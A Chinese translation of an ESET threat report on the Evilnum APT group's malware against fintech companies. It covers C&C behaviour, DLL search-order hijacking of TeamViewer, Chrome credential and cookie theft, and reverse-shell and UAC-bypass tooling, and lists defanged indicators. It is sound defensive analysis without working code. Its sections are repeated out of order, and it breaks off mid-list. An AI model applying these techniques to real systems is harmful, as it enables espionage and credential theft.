在执行MSI文件时,会将三个恶意组件以及一些.NET框架库文件写入到磁盘的%LOCALAPPDATA%\Microsoft\Mediia位置。file copier是第一个被执行的文件,它的唯一作用是将文件移动到%LOCALAPPDATA%中的另一个位置(有关文件夹名称,请参考“威胁指标”部分)。然后,执行加载程序,并加载和解密文件System.Memmory.dll的内容,该文件是C#组件的实际恶意Payload(DLL代理)。AES加密用于DLL和混淆Payload中的字符串。相同的密钥和初始化向量用于加密所有不同版本中的字符串。

C&C服务器的IP地址采用硬编码和纯文本格式。将会发送一个/Validate/valsrv的GET请求,如果响应的正文中包含文本“youwillnotfindthisanywhare”,则表明该服务器被接受。否则,将会分析GitLab页面,以获取第二台服务器的IP地址。

在4.0版本中,包含以下功能:

1、如果在一段时间内移动了鼠标,则会获取屏幕截图,然后将其经过Base64编码后发送到C&C。图像存储在名为SC4.P7D的文件中。

2、运行命令。

3、通过cmd.exe运行其他二进制文件。

4、发送信息,例如计算机名称、用户名和已安装的反病毒软件。

5、通过创建注册表项的方式,在受感染的计算机上创建持久性。

可以发送给恶意软件的命令如下。

1、killme:停止恶意软件,并删除持久性。

2、mouse:移动鼠标,通过这一操作来获取屏幕截图。

3、cookies:将Chrome Cookie发送到C&C服务器。

4、passwords:发送Chrome保存的密码。我们认为攻击者并不是因为Chrome比较流行才关注这一浏览器的,而是因为针对Chrome处理Cookie和检索存储的密码都比较容易。

5、使用cmd.exe直接运行的其他命令。

2.5版本是研究人员发现的第一个C#组件版本(ESET在2018年12月首次发现),随后发现的是2.7.1版本(2019年11月)、3版本(2019年12月)和4.0版本(2020年4月)。最新版本的恶意软件与先前版本之间最显著的区别在于:

1、主要Payload是32位的DLL,此前是一个64位的EXE文件。

2、最新版本使用HTTPS协议进行通信。

3、去掉了“reverse”命令。在以前的版本中,使用该命令来打开反向Shell。而在新版本中,是通过其他脚本来完成的。

JS组件和C#组件相互连接,C#组件负责捕获屏幕截图,JS组件中则包含用于查找屏幕截图文件并将其发送到C&C服务器的代码。C#组件还会删除%LOCALAPPDATA%\Temp文件夹中所有带有.lnk扩展名的文件,从而清除JS组件初始阶段留下的痕迹。因此,尽管C#组件的功能非常有限,该恶意软件也可以提供不同的C&C服务器冗余机制,并在JS组件被发现或被删除时提供了额外的持久性。

0x05 Golden Chickens组件:TerraLoader家族

在少数情况下,Evilnum恶意组织还部署了一些从“恶意软件即服务”提供商那里购买的工具。这里的“恶意软件即服务”即MaaS,是指一些恶意软件作者不仅提供恶意二进制文件,还同时提供任何必要的基础结构(例如C&C服务器),甚至为犯罪客户提供技术支持。

在这里,我们提到的MaaS供应商被称为Golden Chickens,该供应商除了这一恶意组织之外,还服务于FIN6、Cobalt Group等其他客户。Visa在2019年2月发表FIN6针对电子商务客户攻击活动的分析时,提到了下面这些组件的旧版本。我们认为,尽管所使用的工具集有重叠之处,但FIN6、Cobalt Group和Evilnum并非同一个恶意组织。它们只是共同使用了同一个MaaS提供商的服务。

Golden Chicken工具是以ActiveX组件(OCX文件)的形式提供的,它们都包含TerraLoader代码,该代码作为Golden Chickens客户可用的各种Payload的通用加载器使用。Evilnum使用这些工具的方法如下:

1、攻击者手动向JS或C#组件发送命令,从其中一台服务器投放并执行批处理文件。

2、批处理文件将写入一个恶意INF文件,并将其作为参数提供给Microsoft实用程序cmstp.exe,该实用程序将执行INF文件中指定的远程脚本。该技术已经在MITRE ATT&CK知识库中被记录为“CMSTP”。此前曾有一个针对金融目标发动攻击的恶意组织Cobalt使用过这种技术。

3、远程脚本中包含混淆的JS代码,该代码会投放OCX文件,并通过regsvr32.exe执行该文件。

TerraLoader代码在投放Payload之前,会执行几次完整性检查。这些检查将会实施反调试技术,以尝试识别异常情况,防止在沙箱环境中执行。这些技术可以检测错误的参数、文件名、扩展名,也可以检测硬件断点,或识别加载到主进程中的特定模块。如果这些检查全部通过,则会解密并执行实际的Payload。

我们已经看到Evilnum在其攻击中部署了以下Golden Chickens Payload:

1、More_eggs;

2、一个Meterpreter Payload,我们将其称为TerraPreter;

3、TerraStealer;

4、TerraTV。

Positive Technologies的研究人员近期分析了Cobalt恶意组织使用的一些工具,包括More_eggs的6.6版本,该版本是Evilnum恶意组织使用的版本之一。他们对TerraLoader进行了比较深入的分析,因此我们建议大家可以参考阅读他们的报告。

More_eggs

More_eggs是与C&C服务器通信并接收命令的JavaScript后门。此前,有针对金融企业发动攻击的恶意组织也使用过该后门。Evilnum将其与自制的后门相结合,在受害者的网络上提供冗余和额外的持久性。

我们已经看到,Evilnum将32位ActiveX组件与TerraLoader代码一起使用,这些代码运行6.5、6.6和6.6b(最新版本)版本的More_eggs。它们通过投放msxsl.exe(一个命令行转换实用程序,这是一个合法的Microsoft可执行文件)并执行JavaScript代码来实现此目的,这与IRIS非常相似。

投放的JavaScript代码是使用ActiveX组件动态生成的,在分析过程中需要注意以下几点:

1、执行exe的初始JS代码具有硬编码的绝对路径,因此如果从另外的路径执行或由另一个用户执行它会出现失败。

2、最终的More_eggs Payload使用密钥进行加密,该密钥的末尾附带了主机名和处理器相关信息。示例如下:

cvyLMmtGSKmPMfzJjGyg552DESKTOP-FQAT01XIntel64 Family 6 Model 94 Stepping 3, GenuineIntel

该后门的核心功能与其他恶意组织所使用的功能基本相同,但其中包含了一个新的命令more_time。该命令类似于已记录的via_c,通过cmd.exe /v /c

TerraPreter

Evilnum恶意组织还使用了64位可执行文件解密Meterpreter实例并在内存中运行。Meterpreter的使用让恶意软件更加具有灵活性,并且能够以隐蔽、可扩展的方式运行各种Payload。

这些组件的结构和实施的完整性检查被标识为TerraLoader代码。因此,我们将这些组件称为TerraPreter。主要恶意程序的反编译代码如下图所示。

Meterpreter Loader组件的反编译代码:

7.png

被标记为Dummy的例程调用了一系列不执行任何操作的API。RC4函数初始化通过获取基本字符串,并向其附加一个在每次循环时递增的数字来强制使用该密钥。然后,它使用RC4算法以备选密钥解密16字节缓冲区。如果解密的缓冲区与硬编码的字符串匹配,则将这个备选密钥认为是指定的RC4密钥,供后续使用。我们认为,这一过程是对抗模拟器的测试,用来浪费一些测试的时间。

在解密包含Payload的嵌入式缓冲区之后,恶意软件最终将为GrayStringW API函数设置回调,指向已解密的缓冲区。经过多层解码后,Meterpreter的metsrv.dll被加载到内存中。从这里,我们看到了没有经过人为改动的常规Meterpreter行为特征。但是,我们仍然关注它如何进行通信。

TerraPreter使用HTTPS协议与C&C服务器进行通信,并检索一系列命令。我们发现的C&C是cdn.lvsys[.]com和faxing-mon[.]best。第一个网站会重定向到d2nz6secq3489l.cloudfront[.]net。C&C在每次收到请求时,都会发送不同的二进制数据,并与一个随机的4字节密钥进行异或。恶意软件会从32字节标头的前4个字节中读取用于解密的密钥,该标头以加密数据作为前缀,下图展示了其中的一个示例。

C&C发送的数据:

8.png

C&C发送的第一个命令是core_patch_url,它更改URL的最后一部分,以用于后续请求。然后,C&C发送core_negotiate_tlv_encryption和公钥。自此开始,将会对消息进行XOR加密。

TerraStealer和TerraTV

TerraStealer也被称为SONE或Stealer One。它会扫描许多浏览器、电子邮件、FTP和文件传输应用程序,以窃取Cookie和凭据。我们分析的二进制文件开启了日志记录,下图展示了部分日志的内容。

TerraStealer日志:

9.png

该恶意组织使用的另一个组件是TerraTV的变种。它运行合法的TeamViewer应用程序,但隐藏了用户界面,以便恶意软件的操作员可以在不被用户发现的情况下连接到受感染的计算机。

在执行后,TerraTV将几个已签名的TeamViewer组件放入C:\Users\Public\Public Documents\57494E2D3850535046373333503532\。投放的文件如下图所示。

TerraTV投放的TeamViewer文件:

10.png

ACTIVEDS.dll未经签名,这是恶意代码所在的位置。在系统文件夹中,有一个与之名称相同的Windows DLL,但是由于恶意DLL与TeamViewer可执行文件位于同一目录中,因此会首先找到这个文件,替代Windows DLL并加载。这就是所谓的“DLL搜索顺序劫持”。这个ACTIVEDS.dll在TeamViewer可执行文件中Hook了几个API调用,以隐藏应用程序的任务栏图标并捕获登录凭据。下图展示了设置Hook的代码部分。

为TeamViewer设置的Hook:

11.png

Windows API调用DefWindowProcW(由TeamViewer可执行文件多次调用以处理定向到其主窗口的消息)与例程挂钩,该例程将TeamViewer的ID和密码写入文件%APPDATA%\log_CZ72kGqTdU.txt中。在得到这些凭据后,再加上TeamViewer可以在没有可见的托盘图标或窗口的情况下运行,恶意软件的操作员就可以随时通过其GUI远程控制计算机。

0x06 攻击后工具集

除了先前提到的恶意组件之外,Evilnum恶意组织还会使用其武器库中的几个附加工具进行扩展。在我们发现的大多数被攻陷主机中,攻击者不仅使用了公开可用的工具,还开发了一些自定义脚本。通常,他们将这些工具保存在服务器上,使用密码对压缩包进行加密,并且根据实际需要在受害者的计算机上进行解压缩。

基于Python的工具:

1、SSL脚本反向Shell:这是一个非常简短的脚本,将服务器和端口作为命令行参数。

2、使用PythonProxy、junction、plink和stunnel的SSL代理,它还可以连接到FTP服务器或者使用pysoxy。我们已经发现该脚本使用“proxy”设置,将185.62.189[.]210作为服务器。

3、LaZagne检索存储的密码。

4、IronPython,以及用于截屏、记录键盘和录制DirectSound音频的库。

其他公开可用的工具:

1、PowerShell脚本,例如Bypass-UAC。

2、几个NirSoft实用程序,例如Mail PassView(用于从电子邮件客户端检索密码)、ProduKey(用于获取Microsoft Office和Windows许可证)。

0x07 总结

Evilnum恶意组织已经运作了至少两年,在撰写本文时持续活跃中。该恶意组织使用了与多个不同服务器进行交互的基础结构,其中的一个用来与JS组件进行通信,一个用于与C#组件通信,一个用来存储其工具和窃取到的数据,还有一个用于代理服务器,等等。该恶意组织的目标是为客户提供交易和投资平台的金融科技公司。这一目标非常具体,并且不会涉及到太多家公司。其选取的目标也是恶意组织之所以在攻击链中使用合法工具的原因之一,由此导致恶意活动在很大程度上受到研究人员的关注。借助遥测数据,我们能够将各种线索连接起来,发现该组织的工作方式,从而发现与其他APT组织的一些重合之处。我们认为该恶意组织与其他恶意组织共同使用同一家MaaS提供商的服务,Evilnum恶意组织暂时无法与任何其他先前发现的APT组织的攻击活动相关联。

可以在我们的GitHub中找到完整的威胁指标(IoC)和样本列表: https://github.com/eset/malware-ioc/tree/master/evilnum 。

如果有任何与该恶意组织相关的样本查询需求,或者希望向我们提交样本,请通过 [email protected] 与我们联系。

特别感谢Ignacio Sanmillan在分析Golden Chickens组件过程中向我们提供的帮助。

0x08 MITRE ATT&CK技术

1、初始访问

钓鱼链接(T1192):电子邮件中包含一个链接,用于从外部服务器下载压缩文件。

2、执行

(1) CMSTP(T1191):cmstp.exe用于执行删除恶意ActiveX文件的远程托管脚本。

(2) 命令行界面(T1059):cmd.exe用于执行命令和脚本。

(3) 通过模块加载执行(T1129):从DLL加载4.0版本的C#组件Payload。TerraTV加载了恶意DLL,以允许在静默状态下使用TeamViewer。

(4) 图形用户界面(T1061):TerraTV恶意软件允许使用TeamViewer进行远程控制。

(5) PowerShell(T1086):Evilnum恶意组织在使用JS组件攻陷目标后,执行了LaZagne和其他PowerShell脚本。

(6) Regsvr32(T1117):Evilnum恶意组织使用regsvr32.exe执行其Golden Chickens工具。

(7) 脚本(T1064):在最开始的环节和攻陷后环节中,使用了几种JavaScript、Python和PowerShell脚本。

(8) 签名的二进制代理(T1218):执行msiexec.exe以安装恶意C#组件。

(9) 用户执行(T1204):受害者被诱导打开用于安装恶意JS组件的LNK文件。

(10) WMI(T1047):JS组件使用WMI来获取信息,例如安装了哪种反病毒产品。

(11) XSL脚本处理(T1220):More_eggs恶意软件使用msxsl.exe从XSL文件中调用JS代码。

3、持久性

(1) 注册表运行键/启动文件夹(T1060):为创建JS组件、C#组件和More_eggs的持久性,创建了注册表运行键。

(2) 冗余访问(T1108):Evilnum的组件是独立存在的,并且在检测到另一个组件被删除时会提供冗余备份。

(3) Hooking(T1179):TerraTV恶意软件在TeamViewer中Hook了多个API调用。

4、逃避防御

(1) DLL搜索顺序劫持(T1038):TerraTV恶意软件让TeamViewer加载了位于同目录下的DLL,而不是位于系统文件夹中的原始Windows DLL。

(2) 绕过用户访问控制(T1088):PowerShell脚本用于绕过UAC。

(3) 代码签名(T1116):一些Golden Chickens组件是经过恶意签名的可执行文件。此外,Evilnum恶意组织使用合法(签名后的)应用程序(例如cmstp.exe或msxsl.exe)作为逃避防御机制。

(4) 连接代理服务器(T1090):使用攻击后脚本与代理服务器建立连接。

(5) 反混淆/界面文件或信息(T1140):在Evilnum恶意软件组件中,多处使用到了加密、编码或混淆后的内容。

(6) 文件删除(T1107):JS组件和C#组件都将删除在初始阶段创建的临时文件和文件夹。

(7) 隐藏窗口(T1143):TerraTV运行TeamViewer时,其窗口和任务栏图标均已隐藏。

(8) 伪装(T1036):C#组件在system.memmory.dll中具有Payload,伪装成良性的.NET Framework DLL。

(9) 修改注册表(T1112):Evilnum出于不同目的修改注册表,主要目的是为了持久保存在受感染的系统中(例如:注册表的运行键)。

(10) 混淆文件或信息(T1027):在Evilnum恶意软件组件中,多处使用到了加密、编码或混淆后的内容。

(11) 虚拟化/沙箱逃逸(T1497):Golden Chickens组件实现了集中完整性检查和逃避技术。

5、凭据访问

(1) 凭据转储(T1003):使用脚本和工具(例如LaZagne)检索存储的凭据。

(2) Web浏览器凭据(T1503):C#组件从Chrome检索存储的密码。

(3) 捕获输入(T1056):使用自定义Python脚本记录键盘输入。

(4) 窃取Web Session(T1539):Evilnum恶意软件从Chrome窃取Cookie。

6、侦查

(1) 查询注册表(T1012):More_eggs查询注册表以获知用户是否具有管理员权限。

(2) 安全软件侦查(T1063):JS组件和C#组件会搜索已安装的反病毒软件。

(3) 软件侦查(T1518):TerraStealer恶意软件会寻找特定的应用程序。

(4) 系统信息侦查(T1082):将与系统相关的信息发送到C&C服务器。

7、收集

(1) 数据暂存(T1074):在发送到C&C之前,先将数据存储在一个临时位置。

(2) 本地系统数据(T1005):JS组件(2.1版本)具有用于从本地系统中提取Excel文件的代码。

(3) 电子邮件收集(T1114):TerraStealer恶意软件以电子邮件应用程序为目标。

(4) 输入捕获(T1056):使用Python脚本记录用户输入的击键。

(5) 屏幕截图(T1113):部分Evilnum恶意软件组件对屏幕进行截图。

8、命令与控制

(1) 常用端口(T1043):C&C通信使用HTTP或HTTPS端口。

(2) 数据编码(T1132):发送到C&C的部分数据经过Base64编码。

(3) 备份通道(T1008):如果原始C&C发生故障,则JS组件和C#组件可以通过解析第三方网页来获得新的C&C。

(4) 多阶段通道(T1104):Evilnum恶意软件的各种组件使用独立的C&C服务器。

(5) 远程访问工具(T1219):TerraTV恶意软件使用TeamViewer使攻击者获得计算机的控制权。

(6) 远程文件复制(T1105):向/从C&C服务器上传/下载文件。

(7) 标准应用层协议(T1071):C&C使用HTTP和HTTPS协议。

(8) Web服务(T1102):攻击者使用GitHub、GitLab、Reddit和其他网站用于存储C&C服务器信息。

9、渗出

(1) 加密数据(T1022):部分Evilnum组件在将数据发送到C&C前先对其进行加密。

(2) 通过备用协议进行渗出(T1048):恶意软件操作员手动部署脚本,将数据发送到FTP服务器。

(3) 在命令和控制通道中渗出(T1041):在用于C&C的相同通道中渗出数据。

ESET团队详细分析了Evilnum恶意组织的运作方式及其部署的工具集,该工具集会针对金融科技行业中精心选择的目标发动攻击。

0x00 概述

ESET详细分析了Evilnum恶意组织的运作方式,Evilnum是Evilnum恶意软件背后的APT恶意组织,此前曾经针对金融科技类公司发动攻击。自2018年以来,该恶意组织就已经进入到人们的事业中,并且曾有研究人员对其分析,但是,此前却从没有研究过其背后的恶意组织以及运行模式。

在本文中,我们将不同点结合起来,详细分析Evilnum的恶意活动。该恶意组织所针对的目标仍然是金融科技公司,但其使用的工具集和基础架构已经不断发展,目前使用的是自定义的恶意软件和从Golden Chickens购买的工具。Golden Chickens是恶意软件即服务(MaaS)厂商,其知名客户包括FIN6恶意组织和Cobalt恶意组织。

0x01 目标

根据ESET的遥测技术,该恶意组织所针对的目标都是金融科技公司,例如一些提供在线交易平台和工具的公司。尽管大多数目标都位于欧盟国家和英国,但我们也同时看到了该恶意组织针对澳大利亚和加拿大等国家的攻击。通常,目标公司在多个地区都设有办事处,这就解释了为什么攻击地域会出现多样性的原因。

Evilnum恶意组织的主要目的是监视其目标,从目标公司或客户那里获取财务信息。该恶意组织窃取的信息包括:

1、包含客户清单、投资和交易信息的电子表格和文档;

2、内部演示;

3、交易软件或平台的软件许可证和凭据;

4、来自浏览器的Cookie和会话信息;

5、电子邮件凭据;

6、客户信用卡、地址、身份证明文件。

根据我们在调查中的发现,该恶意组织还获取了与IT相关的信息的访问权限,例如VPN配置。

0x02 攻击概述

恶意组织通过鱼叉式电子邮件的方式接近其目标,在电子邮件中包含指向Google网盘的链接,实际上是一个ZIP压缩文件。在压缩文件中,包含几个快捷方式(LNK)文件,这些文件在显示诱饵文档的同时提取并执行恶意的JavaScript组件。在Windows中,默认情况下会隐藏已知类型的文件扩展名。因此,这些快捷方式文件具有双重扩展名,以试图诱导用户认为它们是合法文档或图片并打开。其中一个压缩文件的内容如下图所示。

恶意LNK文件:

1.png

在打开任一快捷方式文件后,将在文件内容中查找带有特定标记的行,并将其写入.js文件。然后,执行该恶意JavaScript文件,写入并打开一个诱饵文件,该诱饵文件的名称与快捷方式相同,但扩展名是正确的。此后,将删除快捷方式文件。用作诱饵的文件主要是信用卡、身份证或地址证明票据的照片,因为根据规定,许多金融机构在新客户注册时会要求客户提供这些文件。下图展示了一个这样的诱饵,为保护个人信息,已经对关键内容进行模糊处理。

用作诱饵的证件照片:

2.jpg

这些诱饵文件似乎是真实的,我们推测它们可能是在恶意组织的多年运营过程中不断收集的。当前该组织在运营过程中积极收集这类文档,因为他们主要是针对技术支持代表和客户经理发起攻击,而这两个角色会定期从客户处收到这类文件。除非目标来自不同的地区,否则该组织会针对不同的目标重复使用这些文档。

在攻击的第一阶段,攻击者使用了JavaScript组件,他们可以部署其他恶意软件,例如C#间谍组件、Golden Chickens组件或几种基于Python的工具。在以前,其他研究人员将Evilnum命名为C#组件,但同时也将JS组件称为Evilnum。而我们根据核心恶意软件的名称来命名该恶意组织,并将各类恶意软件都称为组件。概述如图3所示。

Evilnum组件:

3.jpg

每个组件都有其自身的C&C服务器,并且每个组件独立运行。恶意软件的运营人员手动发送命令安装其他组件,并在必要时使用攻陷后的脚本和工具。

恶意软件使用的大多数服务器都是通过IP地址引用的,他们还尚未使用域名。唯一的例外是Golden Chickens组件使用的C&C服务器。如后文所述,这是从MaaS提供厂商处购买的恶意软件。

根据托管服务提供商,可以将这些用到的IP地址分为两组。其中的大多数都是由乌克兰的服务提供商FreeHost托管,其余的由荷兰的服务提供商Dotsi托管。

0x03 JS组件:初始阶段

该组件与C&C服务器进行通信,在无需任何其他程序的情况下即可作为后门使用。但是,在我们看到的大多数攻击中,攻击者会根据需要部署其他组件,并且仅在第一阶段使用JS恶意软件。

我们看到有文章在2018年5月首次提及这个JavaScript恶意软件。自那时开始,恶意软件发生了变化,我们在下图中说明了这些变化。

JS组件更改的时间表:

4.jpg

其中,1.3版本和其他版本之间的差异值得我们关注,因为C&C服务器端代码已经更改,并且命令也有所不同。在早期版本中,无法将文件上传至C&C,只能将文件下载到受害者的计算机上。随着新版本的陆续发布,该恶意软件使用了一些Python脚本(详见“攻击后工具集”一章)和外部工具(例如ChromeCookiesView)进行扩展。

尽管版本之间有所不同,但所有版本的核心功能都保持不变,其中包含一个专门创建的GitHub、GitLab或Reddit页面,用于检索C&C服务器的地址。下图展示了其中一个Reddit页面示例,该页面会被恶意软件解析,并检索C&C地址。

JS组件打开的Reddit页面,其中包含C&C服务器地址:

5.png

该组件可以通过注册表“Run”项实现持久性,并且具有完整的后门功能。它可以下载和执行二进制文件、运行任意命令,或将文件从受害计算机上传到C&C服务器上。由于Prevailion最近已经对最新版本恶意软件进行了很好地分析,因此我们在这里就不再对该组件的技术细节做过于详细的介绍。

0x04 C#组件:一个没有展现太多恶意意图的组件

2019年3月,Palo Alto Networks分析过一个使用C#编码的恶意软件,其功能与JS组件非常相似。该版本(2.5)通过将数字除以666的方式来计算出C&C地址,也正因此,该恶意软件被Palo Alto Networks的研究人员命名为Evilnum。在此之后,有新版本的C#恶意软件陆续出现,目前最新的是4.0版本,我们在2020年4月首次发现。在这一版本中,已经不再使用数字666,根据可执行文件的PDB路径,我们发现开发人员将该恶意软件命名为“Marvel”。但是,为了避免造成混乱,我们继续将该恶意软件称为Evilnum。

最新版本捆绑在MSI文件(Windows Installer)中,并独立于JS组件运行。此外,它具有与JS组件不同的C&C。但是,在我们观察到的案例中,在JavaScript恶意软件获得初始访问权限后,都会下载并执行C#组件。该组件的结构如下图所示。

C#组件片段:

6.jpg

在执行MSI文件时,会将三个恶意组件以及一些.NET框架库文件写入到磁盘的%LOCALAPPDATA%\Microsoft\Mediia位置。file copier是第一个被执行的文件,它的唯一作用是将文件移动到%LOCALAPPDATA%中的另一个位置(有关文件夹名称,请参考“威胁指标”部分)。然后,执行加载程序,并加载和解密文件System.Memmory.dll的内容,该文件是C#组件的实际恶意Payload(DLL代理)。AES加密用于DLL和混淆Payload中的字符串。相同的密钥和初始化向量用于加密所有不同版本中的字符串。

C&C服务器的IP地址采用硬编码和纯文本格式。将会发送一个/Validate/valsrv的GET请求,如果响应的正文中包含文本“youwillnotfindthisanywhare”,则表明该服务器被接受。否则,将会分析GitLab页面,以获取第二台服务器的IP地址。

在4.0版本中,包含以下功能:

1、如果在一段时间内移动了鼠标,则会获取屏幕截图,然后将其经过Base64编码后发送到C&C。图像存储在名为SC4.P7D的文件中。

2、运行命令。

3、通过cmd.exe运行其他二进制文件。

4、发送信息,例如计算机名称、用户名和已安装的反病毒软件。

5、通过创建注册表项的方式,在受感染的计算机上创建持久性。

可以发送给恶意软件的命令如下。

1、killme:停止恶意软件,并删除持久性。

2、mouse:移动鼠标,通过这一操作来获取屏幕截图。

3、cookies:将Chrome Cookie发送到C&C服务器。

4、passwords:发送Chrome保存的密码。我们认为攻击者并不是因为Chrome比较流行才关注这一浏览器的,而是因为针对Chrome处理Cookie和检索存储的密码都比较容易。

5、使用cmd.exe直接运行的其他命令。

2.5版本是研究人员发现的第一个C#组件版本(ESET在2018年12月首次发现),随后发现的是2.7.1版本(2019年11月)、3版本(2019年12月)和4.0版本(2020年4月)。最新版本的恶意软件与先前版本之间最显著的区别在于:

1、主要Payload是32位的DLL,此前是一个64位的EXE文件。

2、最新版本使用HTTPS协议进行通信。

3、去掉了“reverse”命令。在以前的版本中,使用该命令来打开反向Shell。而在新版本中,是通过其他脚本来完成的。

JS组件和C#组件相互连接,C#组件负责捕获屏幕截图,JS组件中则包含用于查找屏幕截图文件并将其发送到C&C服务器的代码。C#组件还会删除%LOCALAPPDATA%\Temp文件夹中所有带有.lnk扩展名的文件,从而清除JS组件初始阶段留下的痕迹。因此,尽管C#组件的功能非常有限,该恶意软件也可以提供不同的C&C服务器冗余机制,并在JS组件被发现或被删除时提供了额外的持久性。

0x05 Golden Chickens组件:TerraLoader家族

在少数情况下,Evilnum恶意组织还部署了一些从“恶意软件即服务”提供商那里购买的工具。这里的“恶意软件即服务”即MaaS,是指一些恶意软件作者不仅提供恶意二进制文件,还同时提供任何必要的基础结构(例如C&C服务器),甚至为犯罪客户提供技术支持。

在这里,我们提到的MaaS供应商被称为Golden Chickens,该供应商除了这一恶意组织之外,还服务于FIN6、Cobalt Group等其他客户。Visa在2019年2月发表FIN6针对电子商务客户攻击活动的分析时,提到了下面这些组件的旧版本。我们认为,尽管所使用的工具集有重叠之处,但FIN6、Cobalt Group和Evilnum并非同一个恶意组织。它们只是共同使用了同一个MaaS提供商的服务。

Golden Chicken工具是以ActiveX组件(OCX文件)的形式提供的,它们都包含TerraLoader代码,该代码作为Golden Chickens客户可用的各种Payload的通用加载器使用。Evilnum使用这些工具的方法如下:

1、攻击者手动向JS或C#组件发送命令,从其中一台服务器投放并执行批处理文件。

2、批处理文件将写入一个恶意INF文件,并将其作为参数提供给Microsoft实用程序cmstp.exe,该实用程序将执行INF文件中指定的远程脚本。该技术已经在MITRE ATT&CK知识库中被记录为“CMSTP”。此前曾有一个针对金融目标发动攻击的恶意组织Cobalt使用过这种技术。

3、远程脚本中包含混淆的JS代码,该代码会投放OCX文件,并通过regsvr32.exe执行该文件。

TerraLoader代码在投放Payload之前,会执行几次完整性检查。这些检查将会实施反调试技术,以尝试识别异常情况,防止在沙箱环境中执行。这些技术可以检测错误的参数、文件名、扩展名,也可以检测硬件断点,或识别加载到主进程中的特定模块。如果这些检查全部通过,则会解密并执行实际的Payload。

我们已经看到Evilnum在其攻击中部署了以下Golden Chickens Payload:

1、More_eggs;

2、一个Meterpreter Payload,我们将其称为TerraPreter;

3、TerraStealer;

4、TerraTV。

Positive Technologies的研究人员近期分析了Cobalt恶意组织使用的一些工具,包括More_eggs的6.6版本,该版本是Evilnum恶意组织使用的版本之一。他们对TerraLoader进行了比较深入的分析,因此我们建议大家可以参考阅读他们的报告。

More_eggs

More_eggs是与C&C服务器通信并接收命令的JavaScript后门。此前,有针对金融企业发动攻击的恶意组织也使用过该后门。Evilnum将其与自制的后门相结合,在受害者的网络上提供冗余和额外的持久性。

我们已经看到,Evilnum将32位ActiveX组件与TerraLoader代码一起使用,这些代码运行6.5、6.6和6.6b(最新版本)版本的More_eggs。它们通过投放msxsl.exe(一个命令行转换实用程序,这是一个合法的Microsoft可执行文件)并执行JavaScript代码来实现此目的,这与IRIS非常相似。

投放的JavaScript代码是使用ActiveX组件动态生成的,在分析过程中需要注意以下几点:

1、执行exe的初始JS代码具有硬编码的绝对路径,因此如果从另外的路径执行或由另一个用户执行它会出现失败。

2、最终的More_eggs Payload使用密钥进行加密,该密钥的末尾附带了主机名和处理器相关信息。示例如下:

cvyLMmtGSKmPMfzJjGyg552DESKTOP-FQAT01XIntel64 Family 6 Model 94 Stepping 3, GenuineIntel

该后门的核心功能与其他恶意组织所使用的功能基本相同,但其中包含了一个新的命令more_time。该命令类似于已记录的via_c,通过cmd.exe /v /c

TerraPreter

Evilnum恶意组织还使用了64位可执行文件解密Meterpreter实例并在内存中运行。Meterpreter的使用让恶意软件更加具有灵活性,并且能够以隐蔽、可扩展的方式运行各种Payload。

这些组件的结构和实施的完整性检查被标识为TerraLoader代码。因此,我们将这些组件称为TerraPreter。主要恶意程序的反编译代码如下图所示。

Meterpreter Loader组件的反编译代码:

7.png

被标记为Dummy的例程调用了一系列不执行任何操作的API。RC4函数初始化通过获取基本字符串,并向其附加一个在每次循环时递增的数字来强制使用该密钥。然后,它使用RC4算法以备选密钥解密16字节缓冲区。如果解密的缓冲区与硬编码的字符串匹配,则将这个备选密钥认为是指定的RC4密钥,供后续使用。我们认为,这一过程是对抗模拟器的测试,用来浪费一些测试的时间。

在解密包含Payload的嵌入式缓冲区之后,恶意软件最终将为GrayStringW API函数设置回调,指向已解密的缓冲区。经过多层解码后,Meterpreter的metsrv.dll被加载到内存中。从这里,我们看到了没有经过人为改动的常规Meterpreter行为特征。但是,我们仍然关注它如何进行通信。

TerraPreter使用HTTPS协议与C&C服务器进行通信,并检索一系列命令。我们发现的C&C是cdn.lvsys[.]com和faxing-mon[.]best。第一个网站会重定向到d2nz6secq3489l.cloudfront[.]net。C&C在每次收到请求时,都会发送不同的二进制数据,并与一个随机的4字节密钥进行异或。恶意软件会从32字节标头的前4个字节中读取用于解密的密钥,该标头以加密数据作为前缀,下图展示了其中的一个示例。

C&C发送的数据:

8.png

C&C发送的第一个命令是core_patch_url,它更改URL的最后一部分,以用于后续请求。然后,C&C发送core_negotiate_tlv_encryption和公钥。自此开始,将会对消息进行XOR加密。

TerraStealer和TerraTV

TerraStealer也被称为SONE或Stealer One。它会扫描许多浏览器、电子邮件、FTP和文件传输应用程序,以窃取Cookie和凭据。我们分析的二进制文件开启了日志记录,下图展示了部分日志的内容。

TerraStealer日志:

9.png

该恶意组织使用的另一个组件是TerraTV的变种。它运行合法的TeamViewer应用程序,但隐藏了用户界面,以便恶意软件的操作员可以在不被用户发现的情况下连接到受感染的计算机。

在执行后,TerraTV将几个已签名的TeamViewer组件放入C:\Users\Public\Public Documents\57494E2D3850535046373333503532\。投放的文件如下图所示。

TerraTV投放的TeamViewer文件:

10.png

ACTIVEDS.dll未经签名,这是恶意代码所在的位置。在系统文件夹中,有一个与之名称相同的Windows DLL,但是由于恶意DLL与TeamViewer可执行文件位于同一目录中,因此会首先找到这个文件,替代Windows DLL并加载。这就是所谓的“DLL搜索顺序劫持”。这个ACTIVEDS.dll在TeamViewer可执行文件中Hook了几个API调用,以隐藏应用程序的任务栏图标并捕获登录凭据。下图展示了设置Hook的代码部分。

为TeamViewer设置的Hook:

11.png

Windows API调用DefWindowProcW(由TeamViewer可执行文件多次调用以处理定向到其主窗口的消息)与例程挂钩,该例程将TeamViewer的ID和密码写入文件%APPDATA%\log_CZ72kGqTdU.txt中。在得到这些凭据后,再加上TeamViewer可以在没有可见的托盘图标或窗口的情况下运行,恶意软件的操作员就可以随时通过其GUI远程控制计算机。

0x06 攻击后工具集

除了先前提到的恶意组件之外,Evilnum恶意组织还会使用其武器库中的几个附加工具进行扩展。在我们发现的大多数被攻陷主机中,攻击者不仅使用了公开可用的工具,还开发了一些自定义脚本。通常,他们将这些工具保存在服务器上,使用密码对压缩包进行加密,并且根据实际需要在受害者的计算机上进行解压缩。

基于Python的工具:

1、SSL脚本反向Shell:这是一个非常简短的脚本,将服务器和端口作为命令行参数。

2、使用PythonProxy、junction、plink和stunnel的SSL代理,它还可以连接到FTP服务器或者使用pysoxy。我们已经发现该脚本使用“proxy”设置,将185.62.189[.]210作为服务器。

3、LaZagne检索存储的密码。

4、IronPython,以及用于截屏、记录键盘和录制DirectSound音频的库。

其他公开可用的工具:

1、PowerShell脚本,例如Bypass-UAC。

